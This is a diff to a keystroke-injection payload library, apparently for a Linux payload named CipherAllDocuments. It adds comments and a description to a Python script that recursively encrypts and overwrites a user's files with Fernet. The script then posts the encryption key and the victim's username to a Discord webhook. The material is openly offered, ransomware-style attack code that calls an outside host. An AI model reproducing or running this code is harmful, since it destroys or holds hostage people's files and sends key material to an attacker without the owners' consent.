[+] Payload Description

payloads/library/execution/CipherAllDocuments_Linux/CipherAllDocumentsScript.py

@@ -5,6 +5,7 @@ import subprocess
 import json
 
 
+"""Cipher function"""
 def cyp_folder(path, fernet):
     for root, files in os.walk(path):
         for filename in files:
@@ -20,6 +21,7 @@ def cyp_folder(path, fernet):
                 f.write(encrypted_data)
 
 
+"""Send the key used for encryption"""
 def send_key(username, key, discord_webhook_url):
     message = {
         "username": f"{username}",
@@ -29,6 +31,7 @@ def send_key(username, key, discord_webhook_url):
     requests.post(discord_webhook_url, data=message_json, headers={'Content-Type': 'application/json'})
 
 
+"""Just some variables"""
 KEY = Fernet.generate_key()
 FERNET = Fernet(KEY)
 USERNAME = subprocess.check_output(['whoami']).decode('ascii')

payloads/library/execution/CipherAllDocuments_Linux/payload.txt

@@ -8,6 +8,24 @@ REM # Target       : Linux                |
 REM #                                     |
 REM #######################################
 
+
+REM ATTENTION - BEFORE USING THIS PAYLOAD MAKE SURE YOU UNDERSTAND WHAT IT DOES
+REM 
+REM Script description
+REM
+REM The Python code defines a function "cyp_folder" that encrypts all files in a folder (and its subfolders) using the Fernet encryption algorithm. The function takes two arguments: the path of the folder to be encrypted ("path") and a Fernet object ("fernet") that contains the encryption key.
+REM
+REM Inside the function, the os.walk function is used to obtain a list of all files in the specified folder and its subfolders. For each file found, its full path is created and checked for readability using the os.access function. If the file is not readable, the loop moves on to the next file.
+REM 
+REM The "file" Linux command is then executed to determine if the file is a text file or a directory. If the file is a directory, the "cyp_folder" function is recursively called on the directory.
+REM 
+REM If the file is a text file (or however not a directory), it is opened in binary read mode using the "open" function. The contents of the file are read and then encrypted using the "encrypt" function of the Fernet object.
+REM 
+REM Finally, the file is opened in binary write mode and the encrypted content is written to the file, overwriting the original content.
+REM 
+REM In summary, the code encrypts all files in a folder (and its subfolders) using the Fernet encryption algorithm and overwrites the original content with the encrypted content.
+REM  
+
 REM Requirements:
 REM     - Internet Connection
 REM     - Discord Webhook